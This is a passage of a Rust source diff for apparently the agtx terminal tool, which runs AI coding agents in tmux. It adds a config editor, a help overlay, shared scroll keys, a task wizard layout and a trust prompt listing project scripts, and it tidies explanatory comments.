= InputMode::SelectPlugin;- }+ self.state.skill_search = None;+ self.state.file_search = None;}fn delete_selected_task(&mut self) -> Result<()> {@@ -7736,8 +8010,8 @@ impl App {// Check if tmux window still exists β if not, mark as Exited// (unless phase artifact was found, in which case it completed before the crash)//- // Answered from one listing taken for the whole pass: this used to- // be a `list-windows` **process per task**, on a 2-second timer.+ // Answered from one listing taken for the whole pass, rather+ // than a `list-windows` process per task on a 2-second timer.let window_gone = window_is_gone(session_name.as_deref(), live_windows.as_ref());let phase_status = if window_gone && phase_status == PhaseStatus::Working {PhaseStatus::Exited@@ -7763,11 +8037,11 @@ impl App {// had closed and nothing was left watching for it.// Only a *fresh `Working`* report proves the pane is dialog-free: the// agent is mid-turn, so it is past whatever gated its startup.- // `read_status` ages out a stale `Working`, but a `waiting`/`ended`- // record never expires (`hook_status.rs:102`) β so a leftover file- // from an earlier phase used to suppress this capture entirely, and a- // dialog rendered after a relaunch was never seen. That is exactly the- // resume path.+ // Only a *fresh* `Working` skips it. `read_status` ages out a+ // stale `Working`, but a `waiting`/`ended` record never expires+ // (`hook_status.rs:102`), so letting one suppress the capture+ // would hide a dialog rendered after a relaunch β which is+ // exactly the resume path.let hook_says_working = matches!(hook_status.as_ref().map(|h| h.state),Some(hook_status::HookState::Working)@@ -9134,11 +9408,10 @@ fn push_changes_to_existing_pr(/// key-name lookup, and a key goes out without it, which is what makes `Enter`/// an Enter.///-/// An unmodified character is therefore **text**, where it used to be a key.-/// That is a fix, not just a reclassification: `send-keys -t x ";"` never-/// reached the pane at all, because a standalone semicolon is how tmux separates-/// commands β it was parsed as one and the keystroke vanished. The same lookup-/// is why a batched run of characters could not have been sent as a key.+/// An unmodified character is therefore **text**, not a key: `send-keys -t x+/// ";"` never reaches the pane, because a standalone semicolon is how tmux+/// separates commands and it is parsed as one. The same lookup is why a batched+/// run of characters cannot be sent as a key.fn popup_key_input(target: &str, key: crossterm::event::KeyEvent) -> Option<PaneInput> {use crossterm::event::KeyModifiers;let has_alt = key.modifiers.contains(KeyModifiers::ALT);@@ -9256,6 +9529,27 @@ enum PopupScroll {Bottom,}+/// The scroll chords, in one place.+///+/// Every scrollable surface in agtx reads them from here β the task pane and+/// the `?` overlay β so a user who learns `C-d` once does not find it inert+/// somewhere else, and the two cannot drift apart.+fn scroll_action_for(key: crossterm::event::KeyEvent) -> Option<PopupScroll> {+ let ctrl = key+ .modifiers+ .contains(crossterm::event::KeyModifiers::CONTROL);+ match key.code {+ KeyCode::Char('p') | KeyCode::Up if ctrl => Some(PopupScroll::Up(5)),+ KeyCode::Char('n') | KeyCode::Down if ctrl => Some(PopupScroll::Down(5)),+ KeyCode::Char('u') if ctrl => Some(PopupScroll::Up(20)),+ KeyCode::PageUp => Some(PopupScroll::Up(20)),+ KeyCode::Char('d') if ctrl => Some(PopupScroll::Down(20)),+ KeyCode::PageDown => Some(PopupScroll::Down(20)),+ KeyCode::Char('g') if ctrl => Some(PopupScroll::Bottom),+ _ => None,+ }+}+/// Apply one logical popup scroll action to whichever component owns history.////// A pane in the alternate screen keeps no tmux scrollback (`history_size == 0`),@@ -9405,14 +9699,14 @@ const PANE_PUSH_BACKSTOP: std::time::Duration = std::time::Duration::from_millis/// Slowest a capture may be driven by the **agent painting**, as opposed to by/// the user typing.///-/// The two deserve different answers and used to share one. Nobody reads text-/// scrolling past frame by frame, but everybody notices their own keystroke-/// arriving late β so the agent's output is sampled at a readable rate while-/// typing keeps [`SHELL_REFRESH_INTERVAL`].+/// The two deserve different answers. Nobody reads text scrolling past frame by+/// frame, but everybody notices their own keystroke arriving late β so the+/// agent's output is sampled at a readable rate while typing keeps+/// [`SHELL_REFRESH_INTERVAL`].///-/// Not a micro-optimisation: sharing one ceiling made a pane painting flat out-/// cost more than the polling it replaced. Every frame is a `capture-pane`, and-/// a capture makes the tmux server format the whole pane.+/// Not a micro-optimisation: one shared ceiling makes a pane painting flat out+/// cost more than polling would. Every frame is a `capture-pane`, and a capture+/// makes the tmux server format the whole pane.const PANE_OUTPUT_MIN_INTERVAL: std::time::Duration = std::time::Duration::from_millis(50);/// How long after a keystroke captures stay on the fast cadence.@@ -9455,7 +9749,7 @@ const REDRAW_BACKSTOP: std::time::Duration = std::time::Duration::from_secs(1);/// How often the MCP transition queue is read.///-/// A SQLite query, previously run on every housekeeping tick β ten times a+/// A SQLite query, so it does not belong on the housekeeping tick β ten times a/// second, forever, whether or not anything is connected. A queued transition is/// not latency-critical: it is a request to move a task between columns, and the/// phase status it acts on is itself refreshed on a 2-second cache.@@ -10251,133 +10545,6 @@ fn wrap_spans(spans: Vec<Span<'static>>, wrap_width: usize) -> Vec<Line<'static>visual.into_iter().map(Line::from).collect()}-/// Render one plugin choice with a fixed metadata column and an independently-/// wrapped description column. Continuation rows start beneath the description-/// rather than at the wizard's left border.-fn wizard_plugin_option_lines(- marker: &str,- label: &str,- description: &str,- check: &str,- name_style: Style,- description_style: Style,- width: usize,-) -> Vec<Line<'static>> {- const LABEL_WIDTH: usize = 14;- const CHECK_WIDTH: usize = 2;- const RIGHT_PADDING: usize = 2;-- let marker_width = Span::raw(marker.to_string()).width();- let prefix_width = marker_width + LABEL_WIDTH + CHECK_WIDTH;- let description_width = width.saturating_sub(prefix_width + RIGHT_PADDING).max(1);- let mut description_lines = wrap_spans(- vec![Span::styled(description.to_string(), description_style)],- description_width,- );- if description_lines.is_empty() {- description_lines.push(Line::default());- }-- let short_label = truncate_str(label, LABEL_WIDTH);- let check = format!("{:<CHECK_WIDTH$}", check);- for (index, line) in description_lines.iter_mut().enumerate() {- let mut spans = if index == 0 {- vec![- Span::styled(marker.to_string(), name_style),- Span::styled(format!("{short_label:<LABEL_WIDTH$}"), name_style),- Span::styled(check.clone(), Style::default().fg(Color::Green)),- ]- } else {- vec![Span::raw(" ".repeat(prefix_width))]- };- spans.append(&mut line.spans);- *line = Line::from(spans);- }- description_lines-}--/// Keep the complete selected plugin entry inside the wizard viewport while-/// retaining as much preceding context as possible.-fn wizard_plugin_scroll_offset(- total_rows: usize,- viewport_rows: usize,- selected_rows: std::ops::Range<usize>,-) -> usize {- if viewport_rows == 0 || total_rows <= viewport_rows {- return 0;- }-- selected_rows- .end- .saturating_sub(viewport_rows)- .min(total_rows.saturating_sub(viewport_rows))-}--/// Snap `pos` back to the nearest UTF-8 char boundary at or before it.-/// Cursor arithmetic tracks bytes, but String indexing panics mid-codepoint β-/// callers use this to stay valid after moving across multi-byte chars.-fn prev_char_boundary(s: &str, pos: usize) -> usize {- if pos == 0 {- return 0;- }- let mut new_pos = pos - 1;- while new_pos > 0 && !s.is_char_boundary(new_pos) {- new_pos -= 1;- }- new_pos-}--/// Snap `pos` forward to the next UTF-8 char boundary (or `s.len()` if none).-/// See `prev_char_boundary` for why byte-indexed cursors need this.-fn next_char_boundary(s: &str, pos: usize) -> usize {- let len = s.len();- if pos >= len {- return len;- }- let mut new_pos = pos + 1;- while new_pos < len && !s.is_char_boundary(new_pos) {- new_pos += 1;- }- new_pos-}--/// Find the previous word boundary (for Option+Left)-fn word_boundary_left(s: &str, pos: usize) -> usize {- if pos == 0 {- return 0;- }- let bytes = s.as_bytes();- let mut i = pos - 1;- // Skip whitespace/punctuation- while i > 0 && !bytes[i].is_ascii_alphanumeric() {- i -= 1;- }- // Skip word characters- while i > 0 && bytes[i - 1].is_ascii_alphanumeric() {- i -= 1;- }- i-}--/// Find the next word boundary (for Option+Right)-fn word_boundary_right(s: &str, pos: usize) -> usize {- let len = s.len();- if pos >= len {- return len;- }- let bytes = s.as_bytes();- let mut i = pos;- // Skip current word characters- while i < len && bytes[i].is_ascii_alphanumeric() {- i += 1;- }- // Skip whitespace/punctuation- while i < len && !bytes[i].is_ascii_alphanumeric() {- i += 1;- }- i-}-/// Build styled Text with highlighted file pathsfn build_highlighted_text<'a>(text: &str,@@ -11116,11 +11283,11 @@ fn send_skill_and_prompt(// which the echo-poll this replaces was only working around://// 1. It is atomic. `send-keys` streams characters into a TUI that may- // not have attached its stdin reader yet, so the old code typed the- // text and then polled `capture_pane` for up to 4s waiting for it to- // render before daring to press Enter. A paste arrives as one write- // wrapped in \x1b[200~ β¦ \x1b[201~, so there is no window to lose- // keystrokes in and nothing to poll for.+ // not have attached its stdin reader yet, which forces a poll of+ // `capture_pane` for up to 4s to see the text render before daring+ // to press Enter. A paste arrives as one write wrapped in+ // \x1b[200~ β¦ \x1b[201~, so there is no window to lose keystrokes+ // in and nothing to poll for.// 2. It keeps newlines as newlines. A skill command and its prompt are// joined by "\n\n", and `send-keys` delivers those as real Enter// presses β an Ink composer submits on the first one and the rest of@@ -11876,7 +12043,7 @@ fn launch_dialogs_for(agent_name: Option<&str>) -> Vec<&'static agent::AgentDial/// The readiness indicators to look for in a pane running `agent_name`.///-/// Same reasoning: "Ask anything" appearing in a Claude pane used to read as+/// Same reasoning: "Ask anything" in a Claude pane would otherwise read as/// OpenCode being ready. Unknown agents keep the flat list.fn active_indicators_for(agent_name: Option<&str>) -> Vec<&'static str> {match agent_name.and_then(agent::spec) {@@ -12077,10 +12244,10 @@ fn wait_for_agent_ready(// 30s (30 * 1s)std::thread::sleep(std::time::Duration::from_secs(1));- // A blocking dialog is checked BEFORE anything that can break out of this- // loop. A native-binary agent (claude, grok) changes- // `pane_current_command` to its own name the moment it execs β before it- // has rendered anything β so Check 1 used to win this race and leave the+ // A blocking dialog is checked BEFORE anything that can break out of+ // this loop. A native-binary agent (claude, grok) changes+ // `pane_current_command` to its own name the moment it execs, before it+ // has rendered anything β so Check 1 wins that race and would leave the// dialog standing, with the task prompt then typed into the menu.let content = tmux_ops.capture_pane(target).ok();if let Some(ref c) = content {@@ -12415,10 +12582,9 @@ fn agtx_task_env(task_id: &str, worktree: &str) -> Vec<(String, String)> {/// Merge agtx's hook entries into an existing `hooks` object, preserving the/// user's own entries on the same events.///-/// agtx's previous entries (identified by the agtx binary path in the command,-/// the same way orca matches on its managed script filename) are dropped first,-/// so re-running against an existing worktree replaces them rather than-/// accumulating duplicates that would fire the hook N times per event.+/// agtx's previous entries (identified by the agtx binary path in the command)+/// are dropped first, so re-running against an existing worktree replaces them+/// rather than accumulating duplicates that would fire the hook N times per event.fn merge_claude_hooks(settings: &mut serde_json::Map<String, serde_json::Value>,ours: serde_json::Value,@@ -12916,21 +13082,18 @@ fn write_mcp_config(let _ = std::fs::create_dir_all(&dir);let _ = std::fs::write(dir.join("config.toml"), toml);- // agtx used to append `[projects."<worktree>"] trust_level = "trusted"`- // to the user's global ~/.codex/config.toml here, on the belief that- // codex would otherwise ignore the project-local config written above- // and lose its MCP server.- //- // Measured against codex 0.144.5 and removed. Codex resolves trust to- // the **git repository root** β its own dialog says so: "You're in a- // subdirectory of a Git project. Trusting will apply to the repository- // root." With only the root trusted, a worktree beneath it showed no- // dialog *and* loaded its own .codex/config.toml: `/mcp` listed agtx- // either way, with or without a per-worktree entry. The entry bought- // nothing, and one had accumulated per worktree in the user's config.+ // No `[projects."<worktree>"] trust_level = "trusted"` entry is+ // written into the user's global ~/.codex/config.toml. Measured+ // against codex 0.144.5: codex resolves trust to the **git+ // repository root** β its own dialog says so, "You're in a+ // subdirectory of a Git project. Trusting will apply to the+ // repository root." With only the root trusted, a worktree beneath+ // it shows no dialog *and* loads its own .codex/config.toml, and+ // `/mcp` lists agtx either way. A per-worktree entry buys nothing+ // and accumulates one line per worktree in the user's config.//- // What remains is the case where the user never trusted the project at- // all. That is a decision for them, surfaced rather than made here β+ // That leaves the case where the user never trusted the project at+ // all. It is a decision for them, surfaced rather than made here β// see `agent_trust`.}agent::McpConfigKind::GeminiJson => {@@ -13148,3 +13311,780 @@ fn resolve_skill_content(#[cfg(test)]#[path = "app_tests.rs"]mod tests;++/// The fields a trust prompt is asking permission for, with their values.+///+/// These are exactly the three `App::new` strips from an untrusted project, and+/// the prompt shows them verbatim: consenting to a script you cannot see is not+/// consent. Order is fixed so the dialog does not reshuffle between launches.+fn dangerous_fields(config: &ProjectConfig) -> Vec<(&'static str, String)> {+ [+ ("init_script", config.init_script.as_ref()),+ ("cleanup_script", config.cleanup_script.as_ref()),+ ("copy_files", config.copy_files.as_ref()),+ ]+ .into_iter()+ .filter_map(|(name, value)| value.map(|v| (name, v.clone())))+ .collect()+}++/// Draw the config editor: sections down the left, the selected section's+/// fields on the right, and the selected field's help line at the bottom.+///+/// The help line is where a setting that only affects *new* worktrees says so,+/// rather than leaving the user to discover that the change looked like it+/// applied and did not.+fn draw_config_editor(+ state: &AppState,+ editor: &super::config_editor::ConfigEditor,+ frame: &mut Frame,+ area: Rect,+) {+ // Size to the content rather than to a percentage of the screen: a fixed+ // 72x78% box left everything huddled in the top-left corner of a mostly+ // empty dialog. Measured across *all* sections so switching tabs does not+ // resize the box under the cursor.+ let popup_area = config_editor_area(editor, area);+ frame.render_widget(Clear, popup_area);++ let selected = hex_to_color(&state.config.theme.color_selected);+ let text_color = hex_to_color(&state.config.theme.color_text);+ let dimmed = hex_to_color(&state.config.theme.color_dimmed);+ let accent = hex_to_color(&state.config.theme.color_accent);+ let desc = hex_to_color(&state.config.theme.color_description);++ let dirty_marker = if editor.dirty { " β" } else { "" };+ let block = Block::default()+ .title(format!(" Configuration{dirty_marker} "))+ .borders(Borders::ALL)+ .border_style(Style::default().fg(hex_to_color(&state.config.theme.color_popup_border)));+ let inner = block.inner(popup_area);+ frame.render_widget(block, popup_area);++ let rows = Layout::default()+ .direction(Direction::Vertical)+ .constraints([+ Constraint::Length(1), // section tabs+ Constraint::Min(3), // fields+ Constraint::Length(2), // help+ Constraint::Length(1), // footer+ ])+ .split(inner);++ // --- section tabs ---+ let mut tab_spans: Vec<Span<'static>> = vec![Span::raw(" ".to_string())];+ for (i, section) in editor.sections.iter().enumerate() {+ let style = if i == editor.section {+ Style::default().fg(selected).add_modifier(Modifier::BOLD)+ } else {+ Style::default().fg(dimmed)+ };+ tab_spans.push(Span::styled(section.title.to_string(), style));+ if i + 1 < editor.sections.len() {+ tab_spans.push(Span::styled(+ " Β· ".to_string(),+ Style::default().fg(dimmed),+ ));+ }+ }+ frame.render_widget(Paragraph::new(Line::from(tab_spans)), rows[0]);++ // --- fields ---+ let label_width = editor+ .current_section()+ .fields+ .iter()+ .map(|f| f.label.len())+ .max()+ .unwrap_or(12)+ .max(12);++ let mut lines: Vec<Line<'static>> = Vec::new();+ for (i, field) in editor.current_section().fields.iter().enumerate() {+ let is_selected = i == editor.field;+ let marker = if is_selected { " > " } else { " " };+ let label_style = if is_selected {+ Style::default().fg(selected).add_modifier(Modifier::BOLD)+ } else {+ Style::default().fg(text_color)+ };++ let mut spans = vec![+ Span::styled(marker.to_string(), label_style),+ Span::styled(format!("{:<label_width$} ", field.label), label_style),+ ];++ let editing_here = is_selected.then_some(editor.editing.as_ref()).flatten();+ match (&field.kind, editing_here) {+ // A text or colour field open for typing shows a caret.+ (_, Some(super::config_editor::EditState::Text(input))) => {+ spans.push(Span::styled(+ format!("{}β", input.as_str()),+ Style::default().fg(accent).add_modifier(Modifier::BOLD),+ ));+ }+ (FieldKind::Toggle, _) => {+ let on = editor.value(field.id).as_bool();+ spans.push(Span::styled(+ if on { "[x] on" } else { "[ ] off" }.to_string(),+ Style::default().fg(if on { accent } else { dimmed }),+ ));+ }+ (FieldKind::Color, _) => {+ let value = editor.value(field.id);+ let hex = value.as_text().to_string();+ // The swatch is the point: a hex string is not a colour anyone+ // can read off the page.+ spans.push(Span::styled(+ "βββ ".to_string(),+ Style::default().fg(hex_to_color(&hex)),+ ));+ spans.push(Span::styled(hex, Style::default().fg(text_color)));+ }+ (kind, _) => {+ let value = editor.value(field.id);+ let raw = value.as_text();+ let shown = match kind {+ FieldKind::Choice(choices) => choices+ .iter()+ .find(|c| c.value == raw)+ .map(|c| c.label.clone())+ .unwrap_or_else(|| raw.to_string()),+ _ if raw.is_empty() => "(unset)".to_string(),+ _ => raw.to_string(),+ };+ let style = if raw.is_empty() {+ Style::default().fg(dimmed)+ } else {+ Style::default().fg(text_color)+ };+ spans.push(Span::styled(shown, style));+ }+ }+ lines.push(Line::from(spans));+ }++ // Keep the selected row on screen without a scrollbar's worth of machinery:+ // the field list is short and the cursor moves one row at a time.+ let viewport = rows[1].height as usize;+ let offset = editor.field.saturating_sub(viewport.saturating_sub(1));+ frame.render_widget(+ Paragraph::new(Text::from(lines)).scroll((offset as u16, 0)),+ rows[1],+ );++ // --- help / status ---+ let help = editor+ .current_field()+ .map(|f| f.help.to_string())+ .unwrap_or_default();+ let mut help_lines = vec![Line::from(Span::styled(+ format!(" {help}"),+ Style::default().fg(desc),+ ))];+ if let Some(ref status) = editor.status {+ help_lines.push(Line::from(Span::styled(+ format!(" {status}"),+ Style::default().fg(Color::Yellow),+ )));+ }+ frame.render_widget(Paragraph::new(Text::from(help_lines)), rows[2]);++ // --- footer ---+ let footer = if editor.confirming_discard {+ " Unsaved changes. [y] discard [s] save [any] back ".to_string()+ } else if let Some(super::config_editor::EditState::Choice { .. }) = editor.editing {+ " [j/k] choose [Enter] pick [Esc] cancel ".to_string()+ } else if editor.editing.is_some() {+ " [Enter] accept [Esc] cancel ".to_string()+ } else {+ " [h/l] section [j/k] field [Enter] edit [C-s] save [Esc] close ".to_string()+ };+ frame.render_widget(+ Paragraph::new(Line::from(Span::styled(+ footer,+ Style::default().fg(dimmed),+ ))),+ rows[3],+ );++ // --- open choice list, drawn over the form ---+ if let Some(super::config_editor::EditState::Choice { selected: pick }) = editor.editing {+ if let Some(FieldKind::Choice(choices)) = editor.current_field().map(|f| &f.kind) {+ let height = (choices.len() as u16 + 2).min(rows[1].height.max(3));+ // Anchor under the *value* column and one row below the field, so+ // the list reads as a dropdown from the thing it is replacing+ // rather than covering the labels beside it.+ let value_column = 3 + label_width as u16 + 2;+ let row = (editor.field.saturating_sub(offset) as u16).saturating_add(1);+ let list_area = Rect {+ x: rows[1].x + value_column,+ y: rows[1].y + row.min(rows[1].height),+ width: rows[1]+ .width+ .saturating_sub(value_column + 2)+ .min(40)+ .max(12),+ height,+ };+ let list_area = if list_area.y + list_area.height > inner.y + inner.height {+ Rect {+ y: (inner.y + inner.height).saturating_sub(list_area.height),+ ..list_area+ }+ } else {+ list_area+ };+ frame.render_widget(Clear, list_area);+ let items: Vec<ListItem> = choices+ .iter()+ .enumerate()+ .map(|(i, choice)| {+ let style = if i == pick {+ Style::default().bg(selected).fg(Color::Black)+ } else {+ Style::default().fg(text_color)+ };+ ListItem::new(format!(" {} ", choice.label)).style(style)+ })+ .collect();+ frame.render_widget(+ List::new(items).block(+ Block::default()+ .borders(Borders::ALL)+ .border_style(Style::default().fg(accent)),+ ),+ list_area,+ );+ }+ }+}++/// How wide the value column has to be for one field, in cells.+fn config_field_value_width(+ editor: &super::config_editor::ConfigEditor,+ field: &super::config_editor::Field,+) -> usize {+ use super::config_editor::FieldKind;+ match &field.kind {+ FieldKind::Toggle => "[ ] off".len(),+ // The stored value is a swatch plus the hex it names.+ FieldKind::Color => "βββ #ffffff".chars().count(),+ // A choice field must fit its longest label, not just the current one:+ // the value changes as the user picks, and a box that grew mid-edit+ // would be worse than one that was always big enough.+ FieldKind::Choice(choices) => choices+ .iter()+ .map(|c| c.label.chars().count())+ .max()+ .unwrap_or(0),+ FieldKind::Text => editor+ .value(field.id)+ .as_text()+ .chars()+ .count()+ .max("(unset)".len()),+ }+}++/// The config editor's box: as small as its content allows, centred, and+/// clamped to the terminal.+fn config_editor_area(editor: &super::config_editor::ConfigEditor, area: Rect) -> Rect {+ const MARKER: usize = 3; // " > "+ const GAP: usize = 2; // between label and value+ const BORDERS: u16 = 2;+ const CHROME_ROWS: u16 = 1 /* tabs */ + 2 /* help + status */ + 1 /* footer */;++ let mut content_width = 0usize;+ let mut rows = 0usize;+ for section in &editor.sections {+ let label_width = section+ .fields+ .iter()+ .map(|f| f.label.chars().count())+ .max()+ .unwrap_or(12)+ .max(12);+ for field in §ion.fields {+ let width = MARKER + label_width + GAP + config_field_value_width(editor, field);+ content_width = content_width.max(width);+ // The help line sits inside the same box, so it is part of how wide+ // the box has to be.+ content_width = content_width.max(field.help.chars().count() + 1);+ }+ rows = rows.max(section.fields.len());+ }++ // The tab strip and the footer are as long as they are, whatever the fields+ // measure.+ let tabs: usize = editor+ .sections+ .iter()+ .map(|s| s.title.chars().count())+ .sum::<usize>()+ + editor.sections.len().saturating_sub(1) * 5+ + 1;+ content_width = content_width.max(tabs);+ content_width = content_width+ .max(" [h/l] section [j/k] field [Enter] edit [C-s] save [Esc] close ".len());++ let width = (content_width as u16 + BORDERS).min(area.width.saturating_sub(4));+ let height = (rows as u16 + CHROME_ROWS + BORDERS).min(area.height.saturating_sub(2));++ Rect {+ x: area.x + area.width.saturating_sub(width) / 2,+ y: area.y + area.height.saturating_sub(height) / 2,+ width,+ height,+ }+}++/// Draw the `?` overlay: every binding, grouped, scrollable.+///+/// Two columns where the terminal is wide enough, which roughly halves the+/// height β in one column the whole reference is a tall thin strip that has to+/// be scrolled even in a large window. Falls back to one column on a narrow+/// terminal, where two would not fit side by side at all.+fn draw_help(state: &AppState, scroll: usize, frame: &mut Frame, area: Rect) {+ const PADDING: u16 = 2;+ const GUTTER: u16 = 3;++ let column_width = help::content_width() as u16;+ let chrome = 2 + PADDING * 2; // borders + padding+ let two_columns = area.width.saturating_sub(4) >= column_width * 2 + GUTTER + chrome;+ let columns = help::columns(if two_columns { 2 } else { 1 });++ let tallest = columns.iter().map(|c| c.len()).max().unwrap_or(0);+ let inner_width = if two_columns {+ column_width * 2 + GUTTER+ } else {+ column_width+ };+ let width = (inner_width + chrome).min(area.width.saturating_sub(4));+ // +2 borders, +1 footer.+ let height = (tallest as u16 + 3).min(area.height.saturating_sub(2));+ let popup_area = Rect {+ x: area.x + area.width.saturating_sub(width) / 2,+ y: area.y + area.height.saturating_sub(height) / 2,+ width,+ height,+ };+ frame.render_widget(Clear, popup_area);++ let title_color = hex_to_color(&state.config.theme.color_selected);+ let key_color = hex_to_color(&state.config.theme.color_accent);+ let text_color = hex_to_color(&state.config.theme.color_text);+ let dimmed = hex_to_color(&state.config.theme.color_dimmed);++ let block = Block::default()+ .title(" Keys ")+ .borders(Borders::ALL)+ .padding(Padding::horizontal(PADDING))+ .border_style(Style::default().fg(hex_to_color(&state.config.theme.color_popup_border)));+ let inner = block.inner(popup_area);+ frame.render_widget(block, popup_area);++ let body = Rect {+ height: inner.height.saturating_sub(1),+ ..inner+ };+ let visible = body.height as usize;+ // Never scroll past the last screenful β an overlay that can be scrolled+ // into empty space looks broken. Paced by the tallest column so the two+ // stay in step.+ let max_scroll = tallest.saturating_sub(visible);+ state.help_max_scroll.set(max_scroll);+ let scroll = scroll.min(max_scroll);++ let areas: Vec<Rect> = if two_columns {+ Layout::default()+ .direction(Direction::Horizontal)+ .constraints([+ Constraint::Length(column_width),+ Constraint::Length(GUTTER),+ Constraint::Min(0),+ ])+ .split(body)+ .to_vec()+ } else {+ vec![body]+ };++ for (index, column) in columns.iter().enumerate() {+ // The gutter is chunk 1, so the second column is chunk 2.+ let Some(target) = areas.get(if index == 0 { 0 } else { 2 }) else {+ continue;+ };+ let lines: Vec<Line<'static>> = column+ .iter()+ .skip(scroll)+ .take(visible)+ .map(|(indent, text)| {+ if !*indent {+ return Line::from(Span::styled(+ text.clone(),+ Style::default()+ .fg(title_color)+ .add_modifier(Modifier::BOLD),+ ));+ }+ // The key column is fixed-width in `help::rows`, so splitting on+ // it keeps the two colours aligned without measuring anything.+ let split = text.char_indices().nth(18).map_or(text.len(), |(i, _)| i);+ let (keys, action) = text.split_at(split);+ Line::from(vec![+ Span::raw(" ".to_string()),+ Span::styled(keys.to_string(), Style::default().fg(key_color)),+ Span::styled(action.to_string(), Style::default().fg(text_color)),+ ])+ })+ .collect();+ frame.render_widget(Paragraph::new(Text::from(lines)), *target);+ }++ let more = if max_scroll > 0 {+ format!(" ({}/{})", scroll + 1, max_scroll + 1)+ } else {+ String::new()+ };+ let hint = if max_scroll > 0 {+ format!("[C-d/u] page [j/k] line [Esc] close{more}")+ } else {+ "[Esc] close".to_string()+ };+ frame.render_widget(+ Paragraph::new(Line::from(Span::styled(hint, Style::default().fg(dimmed)))),+ Rect {+ y: inner.y + inner.height.saturating_sub(1),+ height: 1,+ ..inner+ },+ );+}++/// Draw the task wizard./// Draw the task wizard.+///+/// A real `Layout` β breadcrumb, the steps already behind you, the active step,+/// a validation line β rather than one flat `Paragraph` of pre-wrapped lines.+/// The old shape meant the plugin list scrolled by hand (bottom-anchored, no+/// scrollbar) and the prompt ran edge to edge with no frame around it.+fn draw_wizard(+ state: &AppState,+ wizard: &super::wizard::WizardState,+ frame: &mut Frame,+ area: Rect,+) {+ frame.render_widget(Clear, area);++ let selected = hex_to_color(&state.config.theme.color_selected);+ let text_color = hex_to_color(&state.config.theme.color_text);+ let dimmed = hex_to_color(&state.config.theme.color_dimmed);+ let accent = hex_to_color(&state.config.theme.color_accent);++ let block = Block::default()+ .title(if wizard.is_editing() {+ " Edit Task "+ } else {+ " New Task "+ })+ .borders(Borders::ALL)+ .padding(Padding::horizontal(WIZARD_PADDING))+ .border_style(Style::default().fg(selected));+ let inner = block.inner(area);+ frame.render_widget(block, area);++ // Rows behind the cursor are read-only context; the prompt is never one of+ // them, so it is excluded rather than special-cased below.+ let steps = wizard.steps();+ let index = wizard.step_index();+ let context: Vec<(&str, String)> = steps+ .iter()+ .take(index)+ .filter_map(|step| match step {+ WizardStep::Title => Some(("Title", wizard.title.as_str().to_string())),+ WizardStep::Agent => Some((+ "Agent",+ wizard.agent_name().unwrap_or("default").to_string(),+ )),+ WizardStep::Plugin => Some(("Plugin", wizard.plugin_label().to_string())),+ WizardStep::Prompt => None,+ })+ .collect();++ // A title is one line; a prompt and a list want the room. The trailing+ // slack is what stops a short body stretching to fill the popup.+ let title_step = wizard.step() == WizardStep::Title;+ let rows = Layout::default()+ .direction(Direction::Vertical)+ .constraints([+ Constraint::Length(1), // breadcrumb+ Constraint::Length(1), // rule+ Constraint::Length(context.len() as u16), // completed steps+ Constraint::Length(if context.is_empty() { 0 } else { 1 }),+ // A title is one line; a prompt and a list take the rest.+ if title_step {+ Constraint::Length(3)+ } else {+ Constraint::Min(3)+ },+ // The validation row exists only while there is something in it.+ Constraint::Length(u16::from(wizard.validation.is_some())),+ // Slack, so a fixed-height body does not stretch to fill. A body+ // that already fills needs none, and a second `Min` here would take+ // space from it.+ if title_step {+ Constraint::Min(0)+ } else {+ Constraint::Length(0)+ },+ ])+ .split(inner);++ // --- breadcrumb ---+ let mut crumbs: Vec<Span<'static>> = Vec::new();+ for (i, step) in steps.iter().enumerate() {+ let style = if i == index {+ Style::default().fg(selected).add_modifier(Modifier::BOLD)+ } else if i < index {+ Style::default().fg(accent)+ } else {+ Style::default().fg(dimmed)+ };+ crumbs.push(Span::styled(step.label().to_string(), style));+ if i + 1 < steps.len() {+ crumbs.push(Span::styled(+ " βΊ ".to_string(),+ Style::default().fg(dimmed),+ ));+ }+ }+ frame.render_widget(Paragraph::new(Line::from(crumbs)), rows[0]);+ frame.render_widget(+ Paragraph::new(Line::from(Span::styled(+ "β".repeat(rows[1].width as usize),+ Style::default().fg(dimmed),+ ))),+ rows[1],+ );++ // --- completed steps ---+ let context_lines: Vec<Line<'static>> = context+ .into_iter()+ .map(|(label, value)| {+ Line::from(vec![+ Span::styled(format!("{label}: "), Style::default().fg(dimmed)),+ Span::styled(value, Style::default().fg(text_color)),+ ])+ })+ .collect();+ frame.render_widget(Paragraph::new(Text::from(context_lines)), rows[2]);++ // --- the active step ---+ let body = rows[4];+ match wizard.step() {+ WizardStep::Title => draw_wizard_text_field(+ "Title",+ &wizard.title,+ state,+ frame,+ body,+ "What should this task be called?",+ &HashSet::new(),+ ),+ WizardStep::Prompt => draw_wizard_text_field(+ "Prompt",+ &wizard.prompt,+ state,+ frame,+ body,+ "# files / skills ! tasks",+ &wizard.highlighted_references,+ ),+ WizardStep::Agent | WizardStep::Plugin => {+ if let Some(list) = wizard.current_list() {+ draw_wizard_list(wizard.step().label(), list, state, frame, body);+ }+ }+ }++ // --- validation ---+ //+ // Drawn inside the wizard rather than in the footer because the footer is+ // also the background-warning channel, and an unrelated warning must not be+ // able to replace this while the user is reading it.+ if let Some(ref message) = wizard.validation {+ frame.render_widget(+ Paragraph::new(Line::from(Span::styled(+ message.clone(),+ Style::default().fg(Color::Yellow),+ ))),+ rows[5],+ );+ }+}++/// A bordered text area with the caret anchored in it.+///+/// The caret is a real terminal cursor rather than a drawn block so the OS can+/// render IME composition (Korean, Japanese, Chinese) inline where the text+/// will land.+fn draw_wizard_text_field(+ title: &str,+ input: &TextInput,+ state: &AppState,+ frame: &mut Frame,+ area: Rect,+ hint: &str,+ highlights: &HashSet<String>,+) {+ let text_color = hex_to_color(&state.config.theme.color_text);+ let accent = hex_to_color(&state.config.theme.color_accent);+ let dimmed = hex_to_color(&state.config.theme.color_dimmed);++ let block = Block::default()+ .title(format!(" {title} "))+ .borders(Borders::ALL)+ .padding(Padding::horizontal(1))+ .border_style(Style::default().fg(accent));+ let inner = block.inner(area);+ frame.render_widget(block, area);++ if input.is_empty() {+ frame.render_widget(+ Paragraph::new(Line::from(Span::styled(+ hint.to_string(),+ Style::default().fg(dimmed),+ ))),+ inner,+ );+ } else {+ let wrap_width = inner.width as usize;+ let mut lines: Vec<Line<'static>> = Vec::new();+ for part in input.as_str().split('\n') {+ let spans: Vec<Span<'static>> = if highlights.is_empty() {+ vec![Span::styled(+ part.to_string(),+ Style::default().fg(text_color),+ )]+ } else {+ build_highlighted_text(part, highlights, text_color, accent)+ .lines+ .into_iter()+ .flat_map(|l| l.spans)+ .map(|s| Span::styled(s.content.into_owned(), 